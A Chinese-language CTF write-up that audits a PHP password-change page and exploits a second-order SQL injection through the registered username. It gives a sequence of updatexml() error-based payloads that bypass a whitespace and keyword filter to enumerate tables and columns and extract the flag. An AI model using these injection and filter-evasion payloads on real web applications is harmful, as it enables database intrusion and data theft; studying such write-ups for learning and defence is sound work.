题目分析
这道题目给源码了,但别人貌似都是黑盒做的,不管了,代码审计启动!
源码分析
注入位置
注入的位置在changepwd.php
<?php
session_start();
header("Content-Type: text/html; charset=UTF-8");
require_once 'config.php';
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';
if(isset($_POST['oldpass']) && isset($_POST['newpass'])){
$oldpass = md5($_POST['oldpass']);
$newpass = md5($_POST['newpass']);
$username = $_SESSION['username'];
$sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
// var_dump($sql);
$query = mysql_query($sql);
if($query){
exit('');
}else{
die(mysql_error());
}
}
?>
$username字段未使用单引号包裹,可以在注册界面的username字段写入注入语句,然后访问修改密码界面即可实现二次注入
正则过滤
注册username时存在正则过滤
$postfilter = "#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i";
不区分大小写
匹配任意空白字符
匹配多行注释,/* 开始,*/ 结束
过滤的字符串:file、insert、<、and、floor、ord、char、ascii、mid、left、right、hex、sleep、benchmark、benchmark、substr
注入方式
username:1”
其他随便输入
登录之后来到这个界面,点击用户名后跳转到密码修改界面
报错,使用报错注入
注入
查看当前数据库
payload:1"&&updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
查看表名
payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#
查看字段名
payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#
查看flag
payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#
flag不在这,再看看user表
payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#
updatexml()报错注入只显示32位,使用reverse()函数倒序输出,再进行拼接
payload:1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1)#
得到字段为:real_flag_1s_here
查看flag
payload:1"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#
这个字段有很多条数据,使用函数:regexp(‘^f’),正则匹配f开头的字段
payload:1"&&updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#
不全,再倒叙输出一下
payload:1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#
最终得到flag:flag{fa879aa8-8691-48bc-aa64-532ccbc77744}